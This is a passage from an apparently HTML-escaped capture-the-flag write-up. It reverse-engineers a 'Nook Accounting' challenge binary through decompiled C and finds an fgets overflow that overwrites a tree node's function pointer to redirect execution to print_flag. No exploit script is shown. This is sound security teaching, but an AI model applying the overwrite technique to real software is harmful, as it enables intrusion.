    &lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_110&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                        
            &lt;span class=&quot;s&quot;&gt;&quot;[Isabelle]: Oh no! I cant seem to find what this item is, but it cost %d bells, whatis it?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Item: &quot;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fancy_print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_110&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fancy_print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[Isabelle]: Ohmygosh! Thank you for remembering! Now I can get back to work!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;__n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;strncpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[NookAccounting]: Added &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; with cost of %d bells to accounting spreadsheet.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;usleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in_GS_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__stack_chk_fail_local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puVar&lt;/code&gt; is returned from malloc, and afterwards we are setting values to array indices of it. This pattern strongly indicates that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puVar1&lt;/code&gt; is a struct with fields which are a multiple of 4 bytes (since Ghidra detected that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puVar1&lt;/code&gt; is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;undefined4 *&lt;/code&gt;), and that we are setting the fields in the struct.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x80487a6&lt;/code&gt; looks like a pointer. If we go to the address in the disassembly, we end up precisely at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print_edges&lt;/code&gt; function, which looks like follows:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print_edges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;===Nook(TM) Accounting Very Large Software V 10.49185.2a===&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-=Left=-&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s: %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-=Right=-&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s: %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;============================================&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;That was what we saw previously at the end when running the program. Also, recall that line 50 in main was calling a function at offset 0x20, while the pointer is being set at offset 8 * 4 = 32 = 0x20 as well, so we can confirm that this function pointer is what is being called at the end. If we could overwrite the function pointer, we have EIP control!&lt;/p&gt;

&lt;h3 id=&quot;finding-the-vulnerability&quot;&gt;Finding the Vulnerability&lt;/h3&gt;

&lt;p&gt;Now back to the disassembly of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;newNode&lt;/code&gt;. We see a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fgets&lt;/code&gt; being performed in line 25. It is writing to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puVar1 + 4&lt;/code&gt;, and since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puVar1&lt;/code&gt; is a pointer to a 4 byte type, this is a 4 * 4 = 16 bytes offset. So we can read up to 0x15 bytes to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;puVar[4]&lt;/code&gt;. However, we only need 0x10 bytes to reach &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;puVar[8]&lt;/code&gt;, and then we have another 5 bytes overflow which is more than enough to overwrite the function pointer!&lt;/p&gt;

&lt;p&gt;Now that we have a buffer overflow vulnerability in hand and we can control EIP, let’s see if there are already good existing targets to jump too. We recall that we have the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print_flag&lt;/code&gt; function to use. Awesome!&lt;/p&gt;

&lt;h3 id=&quot;developing-the-exploit&quot;&gt;Developing the Exploit&lt;/h3&gt;
&lt;p&gt;We see that the vulnerable code path only gets executed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;newNode&lt;/code&gt; when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;param_2&lt;/code&gt; is NULL. If we trace the code from the caller in main, this corresponds to the third argument for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;insert&lt;/code&gt;, and it is only in line 23 of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; where it is set to NULL: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;local_13c = insert(uVar1,0x19,0);&lt;/code&gt;. This means we only get to overwrite the function pointer of one node that has the second parameter (which turns out to be the price) as 0x19, or 25.&lt;/p&gt;

&lt;p&gt;Also, knowing that the data structure is most likely that of a tree, the disassembly of setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uVar1&lt;/code&gt; again and again makes sense now. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uVar1&lt;/code&gt; is basically the root of the tree, and when we insert a node into a tree, we are getting the new root back each time. Then, the function pointer of the last node to be the root is called.&lt;/p&gt;

&lt;p&gt;I tried to see if we can get lucky by just exploiting the overflow and seeing if the node that has the overflow ended up as the eventual root, but it did not work, as expected.&lt;/p&gt;

&lt;p&gt;I then began annotating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;insert&lt;/code&gt; function, to try to figure out the structure of the tree and see whether that gives us any insights:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;child_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;left_height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max_child_height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
  &lt;span class=&quot;n&quot;&gt;__x86&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_pc_thunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;newNode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;child_node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;child_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;cm&quot;&gt;/* if price == node-&amp;gt;price */&lt;/span&gt;
